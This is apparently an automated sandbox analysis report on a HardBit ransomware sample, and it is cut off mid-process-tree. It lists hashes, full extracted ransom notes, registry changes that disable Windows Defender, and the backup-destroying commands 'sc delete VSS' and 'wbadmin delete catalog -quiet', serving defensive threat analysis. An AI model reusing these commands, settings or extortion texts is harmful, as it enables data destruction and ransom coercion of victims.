a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992

Resubmissions

28/02/2023, 20:04

230228-ytdzksch89 10

04/02/2023, 22:36

04/02/2023, 22:32

04/02/2023, 22:30

04/02/2023, 22:15

28/12/2022, 14:55

Analysis

max time kernel
41s
max time network
34s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
04/02/2023, 22:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Size

333KB
MD5

3191feae778309eb99df4e4e25c62f1a
SHA1

d639821e3fbbb15e14b46aed5b98568e3ce045c3
SHA256

a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992
SHA512

c8d8734bb1d6e413d8b14e73952a4eb42fd5641ca49822db66f87ea7f0c1fb4c2a38232a652a11ca1c3c5564a517a2aaef8fb59fadff36a11afcce60e5d89798
SSDEEP

6144:P1S1JwNbEKcwwZTz2fYNR5OyxyM6qy9iJ4zv5fmRw9aC1oPtYdeAS9aqbGqeBD:9So4KcZbRwyxmf9iWhuw9aCqPtYMH9zs

Score

10^/10

evasion ransomware trojan

Malware Config

Extracted

Path

C:\Users\Admin\Favorites\Links\How To Restore Your Files.txt

Ransom Note

_ _ _____ ___ ___ ___ _ _____ | | ( )| _ || _ \ ( _ \ ( _ \ (_)(_ _) | |_| || (_) || (_) )| | ) || (_) )| | | | | _ || _ || / | | | || _ ( | | | | | | | || | | || |\ \ | |_) || (_) )| | | | (_) |_||_| |_||_| (_)(____/ (____/ |_| |_| ¦¦¦¦¦HARDBIT RANSOMWARE¦¦¦¦¦ ---- what happened? All your files have been stolen and then encrypted. But don't worry, everything is safe and will be returned to you. ---- How can I get my files back? You have to pay us to get the files back. We don't have bank or paypal accounts, you only have to pay us via Bitcoin. ---- How can I buy bitcoins? You can buy bitcoins from all reputable sites in the world and send them to us. Just search how to buy bitcoins on the internet. Our suggestion is these sites. >>https://www.binance.com/en<< >>https://www.coinbase.com/<< >>https://localbitcoins.com/<< >>https://www.bybit.com/en-US/<< ---- What is your guarantee to restore files? Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. ---- How to contact with you? Or contact us by email:>>[email protected]<< or >>[email protected]<< ---- How will the payment process be after payment? After payment, we will send you the decryption tool along with the guide and we will be with you until the last file is decrypted. ---- What happens if I don't pay you? If you don't pay us, you will never have access to your files because the private key is only in our hands. This transaction is not important to us, but it is important to you, because not only do you not have access to your files, but you also lose time. And the more time passes, the more you will lose and If you do not pay the ransom, we will attack your company again in the future. ---- What are your recommendations? - Never change the name of the files, if you want to manipulate the files, make sure you make a backup of them. If there is a problem with the files, we are not responsible for it. - Never work with intermediary companies, because they charge more money from you. For example, if we ask you for 50,000 dollars, they will tell you 55,000 dollars. Don't be afraid of us, just call us. ---- Very important! For those who have cyber insurance against ransomware attacks. Insurance companies require you to keep your insurance information secret, this is to never pay the maximum amount specified in the contract or to pay nothing at all, disrupting negotiations. The insurance company will try to derail negotiations in any way they can so that they can later argue that you will be denied coverage because your insurance does not cover the ransom amount. For example your company is insured for 10 million dollars, while negotiating with your insurance agent about the ransom he will offer us the lowest possible amount, for example 100 thousand dollars, we will refuse the paltry amount and ask for example the amount of 15 million dollars, the insurance agent will never offer us the top threshold of your insurance of 10 million dollars. He will do anything to derail negotiations and refuse to pay us out completely and leave you alone with your problem. If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we would not demand more than $10 million in correspondence with the insurance agent. That way you would have avoided a leak and decrypted your information. But since the sneaky insurance agent purposely negotiates so as not to pay for the insurance claim, only the insurance company wins in this situation. To avoid all this and get the money on the insurance, be sure to inform us anonymously about the availability and terms of insurance coverage, it benefits both you and us, but it does not benefit the insurance company. Poor multimillionaire insurers will not starve and will not become poorer from the payment of the maximum amount specified in the contract, because everyone knows that the contract is more expensive than money, so let them fulfill the conditions prescribed in your insurance contract, thanks to our interaction. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Your ID :078BFBFF000306D2, 078BFBFF000306D2 Your Key :I41KyRibCbrkyP1PU80DnWokRtB6mghankGtrhFIQ/qXY8I/njTzmTVLxx6u6mOWSV4QhM8KxXjpKc4elhw8E15EVf4jpiF7Ui/BcI/60Bgeqsk0KLXFDm1iGXBgFkzVHVUPkveTPXRqcgXgW1MTwu9uQtQ0uGTEGnrqSDSpUvg=

Emails

email:>>[email protected]<<

>>[email protected]<<

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Ransom Note

All your files have been encrypted due to a security problem with your PC. If you want to restore them, please send your ID for us Our contact information is written in file (HOW TO RESTORE YOUR FILES). Please read this file carefully so as not to make a mistake. You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay Double . We need your ID and your ID is written below the help file Please do not touch the Key written under the help file in any way, otherwise the consequences will be with you Introducing TOX messengers You can download and install TOX message from this link https://tox.chat/ Our ID in TOX: 77A904360EA7D74268E7A4F316865F1703D2D7A6AF28C9ECFACED69CD09C8610FF2C728E6A33. We are ready to answer your questions! If you have information about the company and its servers, share with us in TOX and receive a share from us when they pay. Don't worry, your identity will remain hidden. Is there a guarantee for decryption after payment? Before paying you can send us up to for free decryption. The total size of files must be less than 1Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) Attention! DO NOT trust anyone except the email and the TOX ID that is in the help file, otherwise we will not be responsible for the consequences. DO NOT rename encrypted files. DO NOT try to decrypt or manipulate the files yourself. Do Not contact intermediary companies. They don't do anything special, they just message us and give us money and get the key, but if our price was $50,000, they will charge $70,000 from you. Do not pay any money for the test file. Before manipulating the files, be sure to make a backup of them, otherwise it is your responsibility.

URLs

https://tox.chat/

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 1 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\UnpublishRegister.tiff	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Executes dropped EXE 1 IoCs

pid	Process
2452	lsm.exe

Loads dropped DLL 2 IoCs

pid	Process
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Sets desktop wallpaper using registry 2 TTPs 3 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Documents\\hrdb.ico"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Pictures\\My Wallpaper.jpg"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\HARDBIT.jpg"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1540	sc.exe
2108	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1168	vssadmin.exe
1652	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000_CLASSES\.hardbit2	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000_CLASSES\.hardbit2\	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000_CLASSES\.hardbit2\DefaultIcon	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000_CLASSES\.hardbit2\DefaultIcon\ = "C:\\Users\\Admin\\Documents\\hrdb.ico"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1780	powershell.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1248	WMIC.exe
Token: SeSecurityPrivilege	1248	WMIC.exe
Token: SeTakeOwnershipPrivilege	1248	WMIC.exe
Token: SeLoadDriverPrivilege	1248	WMIC.exe
Token: SeSystemProfilePrivilege	1248	WMIC.exe
Token: SeSystemtimePrivilege	1248	WMIC.exe
Token: SeProfSingleProcessPrivilege	1248	WMIC.exe
Token: SeIncBasePriorityPrivilege	1248	WMIC.exe
Token: SeCreatePagefilePrivilege	1248	WMIC.exe
Token: SeBackupPrivilege	1248	WMIC.exe
Token: SeRestorePrivilege	1248	WMIC.exe
Token: SeShutdownPrivilege	1248	WMIC.exe
Token: SeDebugPrivilege	1248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1248	WMIC.exe
Token: SeRemoteShutdownPrivilege	1248	WMIC.exe
Token: SeUndockPrivilege	1248	WMIC.exe
Token: SeManageVolumePrivilege	1248	WMIC.exe
Token: 33	1248	WMIC.exe
Token: 34	1248	WMIC.exe
Token: 35	1248	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1248	WMIC.exe
Token: SeSecurityPrivilege	1248	WMIC.exe
Token: SeTakeOwnershipPrivilege	1248	WMIC.exe
Token: SeLoadDriverPrivilege	1248	WMIC.exe
Token: SeSystemProfilePrivilege	1248	WMIC.exe
Token: SeSystemtimePrivilege	1248	WMIC.exe
Token: SeProfSingleProcessPrivilege	1248	WMIC.exe
Token: SeIncBasePriorityPrivilege	1248	WMIC.exe
Token: SeCreatePagefilePrivilege	1248	WMIC.exe
Token: SeBackupPrivilege	1248	WMIC.exe
Token: SeRestorePrivilege	1248	WMIC.exe
Token: SeShutdownPrivilege	1248	WMIC.exe
Token: SeDebugPrivilege	1248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1248	WMIC.exe
Token: SeRemoteShutdownPrivilege	1248	WMIC.exe
Token: SeUndockPrivilege	1248	WMIC.exe
Token: SeManageVolumePrivilege	1248	WMIC.exe
Token: 33	1248	WMIC.exe
Token: 34	1248	WMIC.exe
Token: 35	1248	WMIC.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeDebugPrivilege	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Token: SeIncreaseQuotaPrivilege	2756	WMIC.exe
Token: SeSecurityPrivilege	2756	WMIC.exe
Token: SeTakeOwnershipPrivilege	2756	WMIC.exe
Token: SeLoadDriverPrivilege	2756	WMIC.exe
Token: SeSystemProfilePrivilege	2756	WMIC.exe
Token: SeSystemtimePrivilege	2756	WMIC.exe
Token: SeProfSingleProcessPrivilege	2756	WMIC.exe
Token: SeIncBasePriorityPrivilege	2756	WMIC.exe
Token: SeCreatePagefilePrivilege	2756	WMIC.exe
Token: SeBackupPrivilege	2756	WMIC.exe
Token: SeRestorePrivilege	2756	WMIC.exe
Token: SeShutdownPrivilege	2756	WMIC.exe
Token: SeDebugPrivilege	2756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2756	WMIC.exe
Token: SeRemoteShutdownPrivilege	2756	WMIC.exe
Token: SeUndockPrivilege	2756	WMIC.exe
Token: SeManageVolumePrivilege	2756	WMIC.exe
Token: 33	2756	WMIC.exe
Token: 34	2756	WMIC.exe
Token: 35	2756	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2756	WMIC.exe
Token: SeSecurityPrivilege	2756	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 1084	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	29
PID 1632 wrote to memory of 1084	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	29
PID 1632 wrote to memory of 1084	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	29
PID 1632 wrote to memory of 1084	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	29
PID 1084 wrote to memory of 1540	1084	cmd.exe	31
PID 1084 wrote to memory of 1540	1084	cmd.exe	31
PID 1084 wrote to memory of 1540	1084	cmd.exe	31
PID 1084 wrote to memory of 1540	1084	cmd.exe	31
PID 1632 wrote to memory of 852	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	32
PID 1632 wrote to memory of 852	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	32
PID 1632 wrote to memory of 852	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	32
PID 1632 wrote to memory of 852	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	32
PID 1632 wrote to memory of 1956	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	34
PID 1632 wrote to memory of 1956	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	34
PID 1632 wrote to memory of 1956	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	34
PID 1632 wrote to memory of 1956	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	34
PID 1956 wrote to memory of 1168	1956	cmd.exe	36
PID 1956 wrote to memory of 1168	1956	cmd.exe	36
PID 1956 wrote to memory of 1168	1956	cmd.exe	36
PID 1956 wrote to memory of 1168	1956	cmd.exe	36
PID 1956 wrote to memory of 1248	1956	cmd.exe	37
PID 1956 wrote to memory of 1248	1956	cmd.exe	37
PID 1956 wrote to memory of 1248	1956	cmd.exe	37
PID 1956 wrote to memory of 1248	1956	cmd.exe	37
PID 1632 wrote to memory of 1392	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	39
PID 1632 wrote to memory of 1392	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	39
PID 1632 wrote to memory of 1392	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	39
PID 1632 wrote to memory of 1392	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	39
PID 1632 wrote to memory of 1780	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	41
PID 1632 wrote to memory of 1780	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	41
PID 1632 wrote to memory of 1780	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	41
PID 1632 wrote to memory of 1780	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	41
PID 1632 wrote to memory of 1164	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	43
PID 1632 wrote to memory of 1164	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	43
PID 1632 wrote to memory of 1164	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	43
PID 1632 wrote to memory of 1164	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	43
PID 1632 wrote to memory of 432	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	44
PID 1632 wrote to memory of 432	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	44
PID 1632 wrote to memory of 432	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	44
PID 1632 wrote to memory of 432	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	44
PID 1632 wrote to memory of 1996	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	46
PID 1632 wrote to memory of 1996	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	46
PID 1632 wrote to memory of 1996	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	46
PID 1632 wrote to memory of 1996	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	46
PID 1632 wrote to memory of 2004	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	48
PID 1632 wrote to memory of 2004	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	48
PID 1632 wrote to memory of 2004	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	48
PID 1632 wrote to memory of 2004	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	48
PID 1632 wrote to memory of 1964	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	50
PID 1632 wrote to memory of 1964	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	50
PID 1632 wrote to memory of 1964	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	50
PID 1632 wrote to memory of 1964	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	50
PID 1632 wrote to memory of 1444	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	52
PID 1632 wrote to memory of 1444	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	52
PID 1632 wrote to memory of 1444	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	52
PID 1632 wrote to memory of 1444	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	52
PID 1632 wrote to memory of 1224	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	53
PID 1632 wrote to memory of 1224	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	53
PID 1632 wrote to memory of 1224	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	53
PID 1632 wrote to memory of 1224	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	53
PID 1632 wrote to memory of 1644	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	56
PID 1632 wrote to memory of 1644	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	56
PID 1632 wrote to memory of 1644	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	56
PID 1632 wrote to memory of 1644	1632	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	56

C:\Users\Admin\AppData\Local\Temp\a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
"C:\Users\Admin\AppData\Local\Temp\a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies extensions of user files
- Drops startup file
- Loads dropped DLL
- Windows security modification
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C sc delete VSS
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\SysWOW64\sc.exe
    sc delete VSS
    3⤵
    - Launches sc.exe
    PID:1540
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
  2⤵
  PID:852
- C:\Windows\SysWOW64\cmd.exe
